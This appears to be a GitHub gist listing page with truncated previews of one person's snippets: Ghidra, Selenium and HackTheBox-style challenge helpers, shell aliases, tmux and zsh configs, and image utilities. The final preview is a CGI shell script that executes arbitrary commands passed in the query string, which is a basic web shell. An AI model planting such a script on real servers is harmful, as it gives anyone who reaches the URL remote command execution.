This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import os | |
import click | |
import tempfile | |
from pathlib import Path | |
from subprocess import check_output, run | |
GHIDRA_PATH = os.environ.get('GHIDRA_PATH', '/opt/ghidra/') | |
ANALYZER = f"{GHIDRA_PATH}support/analyzeHeadless" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from selenium import webdriver | |
from selenium.webdriver.chrome.service import Service | |
from selenium.webdriver.common.by import By | |
service = Service(executable_path="/usr/bin/chromedriver") | |
options = webdriver.ChromeOptions() | |
options.add_argument('--headless') | |
driver = webdriver.Chrome(service=service, options=options) | |
URL = 'https://<URL>/challenge/code-4/' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Use aliases in sudo | |
# https://askubuntu.com/a/22043 | |
alias sudo="sudo --preserve-env=HOME " | |
alias fucking="sudo --preserve-env=HOME " | |
# Reference: https://dev.to/lissy93/cli-tools-you-cant-live-without-57f6 | |
alias la="eza -lah --header --icons --group" | |
alias ls="eza --icons -h" | |
alias lt="eza --icons --tree" | |
alias lta="eza -al --icons --tree" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://www.hostinger.com/tutorials/tmux-config | |
# Enable mouse mode | |
set -g mouse on | |
set -g history-limit 80000 | |
# Dumps history into logfile on trigger, depends on history-limit | |
# set -g @save-complete-history-path "~/.tmux/logs" | |
set -g @logging-path "~/.tmux/logs" | |
set -g @plugin 'tmux-plugins/tpm' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ~/.zshrc file for zsh interactive shells. | |
# see /usr/share/doc/zsh/examples/zshrc for examples | |
setopt autocd # change directory just by typing its name | |
#setopt correct # auto correct mistakes | |
setopt interactivecomments # allow comments in interactive mode | |
setopt magicequalsubst # enable filename expansion for arguments of the form ‘anything=expression’ | |
setopt nonomatch # hide error message if there is no match for the pattern | |
setopt notify # report the status of background jobs immediately | |
setopt numericglobsort # sort filenames numerically when it makes sense |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from datetime import datetime | |
from bs4 import BeautifulSoup as BS | |
import requests | |
import random | |
import string | |
class Routes: | |
BASE = 'http://sub.domain.htb' | |
LOGIN = BASE + '/index.php' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import xml.etree.ElementTree as ET | |
import csv | |
from tqdm import tqdm | |
import sys | |
def xml_to_csv(xml_file, csv_file): | |
context = ET.iterparse(xml_file, events=("start", "end")) | |
context = iter(context) | |
event, root = next(context) # Get the root element |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PIL import Image | |
from pathlib import Path | |
def unmerge_images(input_image_path, output_folder, num_parts): | |
merged_image = Image.open(input_image_path) | |
width, height = merged_image.size | |
part_height = height // num_parts | |
for i in range(num_parts): | |
box = (0, i * part_height, width, (i + 1) * part_height) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PIL import Image, ImageDraw, ImageFont | |
def create_text_image(text, font_path=None, background_color=None, font_size=24, padding=20, fill_color=None): | |
font_path = font_path or "arial.ttf" | |
background_color = background_color or (255, 255, 255) # White | |
fill_color = fill_color or (0, 0, 0) # Black | |
font = ImageFont.truetype(font_path, font_size) | |
text_width = int(font.getlength(text)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
echo "Content-type: text/plain" | |
echo "" | |
cmd="$QUERY_STRING" | |
if [ -n "$cmd" ]; then | |
echo "$($cmd 2>&1)" | |
else | |
echo "No command provided." |
OlderNewer